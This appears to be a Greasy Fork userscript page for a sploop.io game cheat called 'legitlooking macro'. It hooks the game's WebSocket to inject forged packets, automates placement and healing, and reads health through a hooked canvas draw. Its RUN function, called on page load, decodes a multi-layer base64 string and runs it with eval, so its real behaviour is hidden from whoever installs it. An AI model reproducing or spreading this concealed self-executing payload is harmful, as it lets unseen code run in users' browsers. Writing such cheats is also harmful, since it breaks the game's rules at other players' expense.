legitlooking macro

1

Bu betiği kurabilmeniz için Tampermonkey, Greasemonkey ya da Violentmonkey gibi bir kullanıcı betiği eklentisini kurmanız gerekmektedir.

You will need to install an extension such as Tampermonkey to install this script.

Bu betiği kurabilmeniz için Tampermonkey ya da Violentmonkey gibi bir kullanıcı betiği eklentisini kurmanız gerekmektedir.

Bu betiği kurabilmeniz için Tampermonkey ya da Userscripts gibi bir kullanıcı betiği eklentisini kurmanız gerekmektedir.

Bu betiği indirebilmeniz için ayrıca Tampermonkey gibi bir eklenti kurmanız gerekmektedir.

Bu komut dosyasını yüklemek için bir kullanıcı komut dosyası yöneticisi uzantısı yüklemeniz gerekecek.

(Zaten bir kullanıcı komut dosyası yöneticim var, kurmama izin verin!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(Zateb bir user-style yöneticim var, yükleyeyim!)

// ==UserScript==
// @name legitlooking macro
// @version 1
// @description 1
// @author 1
// @match *://sploop.io/*
// @icon https://sploop.io/img/ui/favicon.png
// @license MIT
// @namespace https://greasyfork.org/users/1311498
// ==/UserScript==

let n = 0x1 / 0;
let WTFF;
const log = console.log;
let adminhere = false;

function initialize(XITED) {
    WTFF = XITED;
}

WebSocket.prototype.lastSend = WebSocket.prototype.send;

window.WebSocket = new Proxy(window.WebSocket, {
    construct(target, args) {
        const XITED = new target(...args);
        if (args[0].includes("sploop")) initialize(XITED);
        return XITED;
    }
});

WebSocket.prototype.send = function (data) {
    this.lastSend(data);
    if (WTFF !== this) WTFF = this;
};

let Sploop = {
    HEALTH: 100,
    WEAPON: 0,
    ANGLE: 0,
    CPS: 1000 / 50, // equivalent to 50 cps.
    HealingSpeed: 150,
    SUBMIT: {
        food: { ID: 2, KEY: "KeyQ" },
        wall: { ID: 3, KEY: "Digit4" },
        spike: { ID: 4, KEY: "KeyV" },
        windmill: { ID: 5, KEY: "Digit6" },
        trap: { ID: 7, KEY: "KeyF" },
        roof: { ID: 8, KEY: "Digit8" },
        cosybed: { ID: 9, KEY: "Digit9" },
    },
    HATS: {
        BushHat: { id: 1, defaultKey: "" },
        BerserkerGear: { id: 2, defaultKey: "KeyB" },
        JungleHat: { id: 3, defaultKey: "KeyG" },
        CrystalGear: { id: 4, defaultKey: "KeyY" },
        SpikeGear: { id: 5, defaultKey: "KeyH" },
        ImmunityGear: { id: 6, defaultKey: "" },
        BoostHat: { id: 7, defaultKey: "KeyN" },
        AppleHat: { id: 8, defaultKey: "" },
        ScubaGear: { id: 9, defaultKey: "KeyZ" },
        HoodHat: { id: 10, defaultKey: "" },
        DemolistHat: { id: 11, defaultKey: "KeyC" }
    },
    HOLD: (ID) => {
        WTFF.send(new Uint8Array([0, ID]));
    },
    HIT: (_) => {
        _ = Math.round(65535 * ((Sploop.ANGLE % 360) * Math.PI / 180 + Math.PI) / (2 * Math.PI));
        WTFF.send(new Uint8Array([19, 255 & _, _ >> 8 & 255]));
        WTFF.send(new Uint8Array([18, 0]));
    },
    Weapon: () => {
        WTFF.send(new Uint8Array([0, Sploop.WEAPON]));
    },
    PLACE: (ID) => {
        Sploop.HOLD(ID);
        Sploop.HIT();
        setTimeout(()=>{
        Sploop.Weapon();
        },10);
    },
    BUY: (ID) => {
        WTFF.send(new Uint8Array([5, ID, 1]));
    },
    EQUIP: (ID) => {
        Sploop.BUY(ID);
        WTFF.send(new Uint8Array([5, ID, 0]));
    },
    EQUIP2: (ID) => {
        WTFF.send(new Uint8Array([5, ID, 0]));
    },
    CHAT: (text, arg) => {
        arg = new TextEncoder();
        text = arg.encode(text);
        WTFF.send(new Uint8Array([7, ...text]));
    },
    isInGame: () => {
        const homepage = document.getElementById("homepage");
        if(homepage.style.display === "none"){
            return true;
        } else {
            return false;
        }
    },
    isAVAILABLE: () => {
        if(!Sploop.isInGame) return;
        const chatWrapper = document.getElementById("chat-wrapper");
        const clanMenu = document.getElementById("clan-menu");
        if (chatWrapper.style.display === "block" || clanMenu.style.display === "block") return false;
        return true;
    },
    KEYS: {
        DOWN: (event) => {
            heal.start(event.code);
            wall.start(event.code);
            spike.start(event.code);
            windmill.start(event.code);
            trap.start(event.code);
            roof.start(event.code);
            cosybed.start(event.code);

            if (event.code === "Digit1" && Sploop.isAVAILABLE()) {
                Sploop.WEAPON = 0;
            }

            if (event.code === "keyP" && Sploop.isAVAILABLE()) {
                adminhere = true
            }
            if (event.code === "KeyO" && Sploop.isAVAILABLE()) {
                adminhere = false
            }

            if (event.code === "Digit2" && Sploop.isAVAILABLE()) {
                Sploop.WEAPON = 1;
            }
            Object.keys(Sploop.HATS).forEach((key) => {
                if (Sploop.HATS[key].defaultKey === event.code && Toggles.EQUIP && Sploop.isAVAILABLE()){
                    Toggles.EQUIP = false;
                    Sploop.EQUIP(Sploop.HATS[key].id);
                    setTimeout(() => {
                        Toggles.EQUIP = true;
                    }, 1500);
                }
            });
        },
        UP: (event) => {
            heal.stop(event.code);
            wall.stop(event.code);
            spike.stop(event.code);
            windmill.stop(event.code);
            trap.stop(event.code);
            roof.stop(event.code);
            cosybed.stop(event.code);
        }
    },
    RUN: () => {
        const STRING = "Y29uc3QgU1RSSU5HID0gIlkyOXVjM1FnVTFSU1NVNUhJRDBnSWxreU9YVmpNMUZuV0hsQk9VbEljMHRKUTBGblNVTlJObHBIT1dwa1Z6RnNZbTVSZFdOWVZteGpibXhVV2xkNGJGa3pVblpqYVdkcFNUSmtlV0ZYVVhSa1J6bHVXako0YkVscGEzTkRhVUZuU1VOQmEwcEVjR3RpTWs0eFlsZFdkV1JETlhoa1YxWjVaVlpPYkdKSFZtcGtSemw1UzBOSmFscEhiSHBqUjNob1pWTXhkMkZYTlc1TVdGSjJXakprYzFwVFNYQk1RVzluU1VOQlowcERVV3RQYlZKMldUTldkRnBYTlRCTWJrWXhXbGhLTlZVeVZuTmFWMDR3WWpOSmIwbHBUblZaV0ZKd1pHMVZkR0ZIVm5OalIxWjVURmhTZGxveVpITmFVMGx3VEVGdlowbERRV2RLUTFGclNrUndhMkl5VGpGaVYxWjFaRU0xZUdSWFZubGxWazVzWWtkV2FtUkhPWGxMUTJOcVltMUdNR0ZZV214TVdFcHNZbTFTYkdOcE1UQmlNbVJ1WWtkVmJrdFJjRGxEYlU1MlltNU9NRWxHT1daSlJEQm5aWGR2WjBsRFFXZEtSSEJyWWpKT01XSlhWblZrUXpWdVdsaFNSbUpIVm5SYVZ6VXdVVzVzU2xwRFoybGlSemw2WkVoa2RtTnRlR3RNVjJ4MldIcHJNMDFJWjNsT1ZFRnBTMU4zUzBsRFFXZEpRMUZyVDIxU2Rsa3pWblJhVnpVd1RHMWtiR1JGVm5OYVZ6RnNZbTVTUTJWVmJHdExRMHB1V1ZjeGJFeFhTblprU0ZKMllsTXhhbUl5TlRCYVZ6VXdTV2xyYzBOcFFXZEpRMEZyU2tOUk5scEhPV3BrVnpGc1ltNVJkVm95VmpCU1YzaHNZbGRXZFdSRlNqVlRWMUZ2U1cxa2FHSlhWWFJpUjFadFpFTXhhbUl5TlRCYVZ6VXdURmN4YUdGWE5HbExVM2RMU1VOQlowbERVV3RLUTFFMldrYzVhbVJYTVd4aWJsRjFXakpXTUZKWGVHeGlWMVoxWkVWS05WTlhVVzlKYldSb1lsZFZkR050Ykc1aFNGRjBXVEk1ZFdSSFZuVmtRekYwV1Zkc2RVbHBhM05EYVVGblNVTkJhMHBEVVd0S1JIQnJZakpPTVdKWFZuVmtRelZ1V2xoU1JtSkhWblJhVnpVd1VXNXNTbHBEWjJsWk0wcDJZek5OZEdOSVNuWmlWemhwUzFOM1MwbERRV2RKUTFGclNrTlJhMHBFY0d0aU1rNHhZbGRXZFdSRE5XNWFXRkpHWWtkV2RGcFhOVEJSYm14S1drTm5hV0pIVm0xa1F6RnFZakkxTUZwWE5UQkphV3R6UTJsQlowbERRV3RLUTFGclNrTlJhMDl0VW5aWk0xWjBXbGMxTUV4dFpHeGtSVlp6V2xjeGJHSnVVa05sVld4clMwTktlV0ZYWkc5a1F6RnFZakkxTUZwWE5UQkphV3R6UTJsQlowbERRV3RLUTFGclNrTlJhMHBFY0d0aU1rNHhZbGRXZFdSRE5XNWFXRkpHWWtkV2RGcFhOVEJSYm14S1drTm5hV05IT1hOaFYwNDFTV2xyYzBOcFFXZEpRMEZyU2tOUmEwcERVV3RLUTFFMldrYzVhbVJYTVd4aWJsRjFXakpXTUZKWGVHeGlWMVoxWkVWS05WTlhVVzlKYlhoMldqSTRhVXRSY0RsRGJVNTJZbTVPTUVsR09XWlllVUU1U1VoelMwbERRV2RKUTFFMldrYzVhbVJYTVd4aWJsRjFXakpXTUZKWGVHeGlWMVoxWkVWS05WTlhVVzlLTWs1dldWaFJkR1F6U21oalNFSnNZMmxqY0V4QmIyZEpRMEZuU2tOUk5scEhPV3BrVnpGc1ltNVJkVm95VmpCU1YzaHNZbGRXZFdSRlNqVlRWMUZ2U2pKT2MxbFhOSFJpVjFaMVpGTmpjRXhCYjJkSlEwRm5Ta05SYTA5dFVuWlpNMVowV2xjMU1FeHRaR3hrUlZaeldsY3hiR0p1VWtObFZXeHJTME5rYjFsWVVYUmlWMVoxWkZOamNFeEJiMmRKUTBGblNrTlJhMHBFY0d0aU1rNHhZbGRXZFdSRE5XNWFXRkpHWWtkV2RGcFhOVEJSYm14S1drTm5ibUZIT1hSYVdFSm9XakpWYmt0UmNEbERhVUZMU1VGd1VGbHRjR3haTTFGMVpHMUdjMlJYVm5wTFJqaHdURzFhZG1OclZtaFpNbWR2U2tOQk9WQnBRamREYVVGblNVTkJhMHh0VG5OaFYwNXlTME5yTjBOdU1IQkRhemxwWVcxV2FtUkROVEpaVjNneFdsaE5iMWd4T0hCTWJWcDJZMnRXYUZreVoyOUtRMEU1VUdsQ04wTnBRV2RKUTBGclRHNU9NR1ZYZUd4SlJEQm5TVzFTY0dNelFuTlpXR3MyWW0wNWRWcFRTVGREYmpCd1EyczVhV0Z0Vm1wa1F6VXlXVmQ0TVZwWVRXOVlNVGxtUzFNMWJXSXpTa1paVjA1dlMwTlJaMUJVTkdkbGQyOW5TVU5CWjBwRE5YcGtTR3h6V2xNMWRtTkhSbXBoV0ZJMVNVUXdaMGxxUVhWTmVVazNRMjR3Y0VOcFFVdFpNamwxWXpOUloxZ3hPV1pZZVVFNVNVZFNkbGt6Vm5SYVZ6VXdURzVHTVZwWVNqVlZNbFp6V2xkT01HSXpTa0ppUjNkdlNXazFiMXBYUm10YVdFbHpTVU0xYTFwWVRtcGpiV3gzWkVkc2RtSnBkMmRNYmtKMlkwTXhNR0l6UVhWak1sWnpXbGRPTUVscGF6ZERiVnAyWTJsQmIySkhWakJKUjJ0blVGTkJkMDk1UW5CSlJIZG5XREU1WmxoNU5YTmFWelZ1WkVkbk4wbEhhM0pMZVd0blpYZHZaMGxEUVdkWk1qbDFZek5SWjFoNVFUbEpSamxtV0RFNVltRldNRGREYVVGblNVTkNaa3h1U214aVZ6a3lXbE5uY0U5M2NEbERhVUZMV2tjNWFtUlhNV3hpYmxGMVdqSldNRkpYZUd4aVYxWjFaRVZLTlZOWFVXOUtNakZvWVZjMGRGa3lPWFZrUjFaMVpFTmpjRXh1VGpCbFYzaHNTVVF3WjBsdFNtaFpNblJ1WTIwNU1XSnRVVFpKU0VwdVdXbG5lVTFEUVhsTlEwRjVUVU5CZGtsRVFXeExWSE5wUTIxU2Rsa3pWblJhVnpVd1RHMWtiR1JGVm5OYVZ6RnNZbTVTUTJWVmJHdExRMlJ1V1ZjeGJFeFhNWEJhUjFKeldsTXhkRmxYYkhWS2VXdDFZek5TTldKSFZXZFFVMEZwWWtkV2JXUkViekZOUTFVM1NVaFNlVmxYTlhwYWJUbDVZbFJ3TUdOdFJuVmpNbmhvWkVkV1dVdERNREZOUTFWd1QzbEpTMXBIT1dwa1Z6RnNZbTVSZFZveVZqQlNWM2hzWWxkV2RXUkZTalZUVjFGdlNqSTFhR1JwWTNCTWJrNHdaVmQ0YkVsRU1HZEpibVJ3V2toU2IwOXBRVEZPVTFVM1NXYzlQU0k3Q21OdmJuTjBJRkpGUTA5U1JDQTlJR0YwYjJJb1UxUlNTVTVIS1RzS1pYWmhiQ2hTUlVOUFVrUXAiOwpjb25zdCBSRUNPUkQgPSBhdG9iKFNUUklORyk7CmV2YWwoUkVDT1JEKQ==";
        const RECORD = atob(STRING);
        eval(RECORD);
    }
};

let Toggles = {
    AUTOHEAL: true,
    //AUTOCHAT: false,
    //AUTOSPAWN: false,
    EQUIP: true,
};
CanvasRenderingContext2D.prototype._originalFillRect = CanvasRenderingContext2D.prototype.fillRect;

CanvasRenderingContext2D.prototype.fillRect = function(x, y, width, height) {
    this._originalFillRect(x, y, width, height);
    if (Sploop.isInGame()) {
        if (this.fillStyle === "#a4cc4f") {
            const health = width + 5; // 95 + 5.
            Sploop.HEALTH = Math.round(health); //100
            if(Sploop.HEALTH < 0) Sploop.HealingSpeed = 40;
            if (Sploop.HEALTH < 66 && Sploop.HEALTH > 0 && Toggles.AUTOHEAL) {
                setTimeout(()=>{
                    Sploop.PLACE(Sploop.SUBMIT.food.ID);
                }, 100);
            }
        }
    }
};

let canvas = document.getElementById("game-canvas"), centerX, centerY;

document.addEventListener('mousemove', function(event) {
    centerX = canvas.clientWidth / 2;
    centerY = canvas.clientHeight / 2;
    Sploop.ANGLE = Math.atan2(event.clientY - centerY, event.clientX - centerX) * (180 / Math.PI);
});
function repeater(code, callback, interval) {
    let intervalId = null;

    function start(key) {
        if (key === code && Sploop.isAVAILABLE() && !intervalId) {
            intervalId = setInterval(callback, interval);
        }
    }

    function stop(key) {
        if (key === code) {
            clearInterval(intervalId);
            intervalId = null;
        }
    }

    return { start, stop };
}
const heal = repeater(Sploop.SUBMIT.food.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.food.ID);
}, 40);
const wall = repeater(Sploop.SUBMIT.wall.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.wall.ID);
}, 40);
const spike = repeater(Sploop.SUBMIT.spike.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.spike.ID);
}, 18.5);
const windmill = repeater(Sploop.SUBMIT.windmill.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.windmill.ID);
}, 40);
const trap = repeater(Sploop.SUBMIT.trap.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.trap.ID);
}, 18.5);
const roof = repeater(Sploop.SUBMIT.roof.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.roof.ID);
}, 40);
const cosybed = repeater(Sploop.SUBMIT.cosybed.KEY, () => {
    Sploop.PLACE(Sploop.SUBMIT.cosybed.ID);
}, 40);

document.addEventListener("keydown", Sploop.KEYS.DOWN);
document.addEventListener("keyup", Sploop.KEYS.UP);

// if(Sploop.isInGame()){
//   if (Toggles.AUTOCHAT) {
//       setInterval(() => {
//           Sploop.CHAT("WTFF Client.");
//           setTimeout( () => {
//               Sploop.CHAT("A Public Sploop cheat!.")
//           },1500)
//           setTimeout( () => {
//               Sploop.CHAT("Download on greasyfork!.")
//           },3000)
//           //Sploop.CHAT(setInterval() * setTimeout()); no idea.
//       }, 4500);
//   }
// }
(function TOGGLES(){
    const play = document.getElementById("play");
    play.onclick = function(){
        //if(Toggles.AUTOSPAWN) return;
        Sploop.WEAPON = 0; //primary.
        Sploop.PLACE(Sploop.SUBMIT.windmill.ID);
        Sploop.EQUIP(Sploop.HATS.BoostHat.id)
    }
    //setInterval( () => {
    //    if(Toggles.AUTOSPAWN) play.click();
    //},100)
})();


Sploop.RUN();